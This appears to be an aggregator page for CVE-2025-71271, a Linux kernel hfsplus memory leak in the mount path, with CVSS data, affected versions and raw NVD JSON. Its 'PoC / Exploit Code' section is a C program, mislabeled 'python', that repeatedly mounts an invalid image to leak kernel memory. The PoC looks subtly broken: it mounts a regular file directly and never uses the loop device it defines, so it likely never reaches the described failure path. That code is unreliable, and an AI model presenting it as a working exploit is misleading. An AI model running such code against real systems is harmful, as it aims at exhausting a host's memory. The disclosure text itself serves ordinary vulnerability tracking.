Security Vulnerability Report
中文
CVE-2025-71271 CVSS 5.5 MEDIUM

CVE-2025-71271

Published: 2026-05-06 12:16:27
Last Modified: 2026-05-12 21:25:25
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: hfsplus: ensure sb->s_fs_info is always cleaned up When hfsplus was converted to the new mount api a bug was introduced by changing the allocation pattern of sb->s_fs_info. If setup_bdev_super() fails after a new superblock has been allocated by sget_fc(), but before hfsplus_fill_super() takes ownership of the filesystem-specific s_fs_info data it was leaked. Fix this by freeing sb->s_fs_info in hfsplus_kill_super().

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (v6.x specific versions, see fix commits)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2025-71271 (Memory Leak in hfsplus) * This script attempts to trigger the memory leak by repeatedly * mounting a file as an hfsplus filesystem to force the failure path. * * Compile: gcc -o poc_hfsplus_leak poc_hfsplus_leak.c */ #include <stdio.h> #include <stdlib.h> #include <sys/mount.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #define LOOP_DEVICE "/dev/loop0" #define MOUNT_POINT "/mnt/hfsplus_test" #define TEST_IMAGE "corrupt_hfsplus.img" void create_dummy_image() { // Create a small dummy file that is not a valid hfsplus filesystem int fd = open(TEST_IMAGE, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0) return; write(fd, "INVALID HFS DATA", 16); close(fd); } int main() { printf("[+] Attempting to trigger CVE-2025-71271...\n"); create_dummy_image(); mkdir(MOUNT_POINT, 0755); for (int i = 0; i < 1000; i++) { // Attempt to mount the invalid image. // This may trigger the setup_bdev_super failure path // if the kernel detects invalid superblock early enough after allocation. if (mount(TEST_IMAGE, MOUNT_POINT, "hfsplus", MS_RDONLY, NULL) == 0) { umount(MOUNT_POINT); } printf("Attempt %d\n", i); } printf("[+] Done. Check kernel memory usage (slabtop) for leaks.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71271", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:27.090", "lastModified": "2026-05-12T21:25:25.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nhfsplus: ensure sb->s_fs_info is always cleaned up\n\nWhen hfsplus was converted to the new mount api a bug was introduced by\nchanging the allocation pattern of sb->s_fs_info. If setup_bdev_super()\nfails after a new superblock has been allocated by sget_fc(), but before\nhfsplus_fill_super() takes ownership of the filesystem-specific s_fs_info\ndata it was leaked.\n\nFix this by freeing sb->s_fs_info in hfsplus_kill_super()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0bcfebb83b5460d5be4e5c9dfb19cdaf3d4cb1db", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/126fb0ce99431126b44a6c360192668c818f641f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1e38d32bb04d85a2c81204a85a34878a497128c8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}